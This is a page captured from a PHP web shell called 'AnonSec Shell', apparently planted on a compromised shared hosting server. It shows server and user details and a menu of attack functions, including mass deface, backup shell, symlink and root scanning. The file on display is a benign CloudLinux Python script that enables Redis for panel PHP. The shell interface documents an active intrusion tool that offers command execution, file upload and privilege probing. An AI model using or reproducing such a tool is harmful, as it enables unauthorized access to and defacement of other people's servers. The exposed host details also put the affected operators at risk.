AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/enable_redis_for_panel_php
#!/opt/cloudlinux/venv/bin/python3 -bb
# -*- coding: utf-8 -*-
import logging
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT


from clwpos.object_cache.redis_utils import configurator
from clwpos.optimization_features import OBJECT_CACHE_FEATURE
from clwpos.feature_suites import is_module_allowed_for_user
from argparse import ArgumentParser
from clwpos.utils import is_wpos_supported
from clwpos.logsetup import setup_logging


_logger = setup_logging(
    caller_name='enable_redis_for_panel_php',
    file_level=logging.INFO,
    logfile_path='/var/log/clwpos/enable_redis_for_panel_php.log',
)


def main(force=False, extras=None):
    """
    Configures redis ext if needed when wpos supported and module is enabled
    """
    is_awp_supported = is_wpos_supported()
    is_redis_allowed = is_module_allowed_for_user(OBJECT_CACHE_FEATURE)
    _logger.info(f'Request to enable redis extensions for panel phps, '
                 f'is_force={force}, AccelerateWP supported={is_awp_supported}, is redis allowed={is_redis_allowed}')
    if force or (is_awp_supported and is_redis_allowed):
        try:
            configurator().configure()
        except Exception as e:
            _logger.exception(str(e))


if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument('-v', '--verbose', action='store_true')
    parser.add_argument('-f', '--force', action='store_true')

    args, unknown = parser.parse_known_args()
    
    if args.verbose:
        logging.basicConfig(level=logging.DEBUG)

    main(force=args.force, extras=unknown)

Anon7 - 2022
AnonSec Team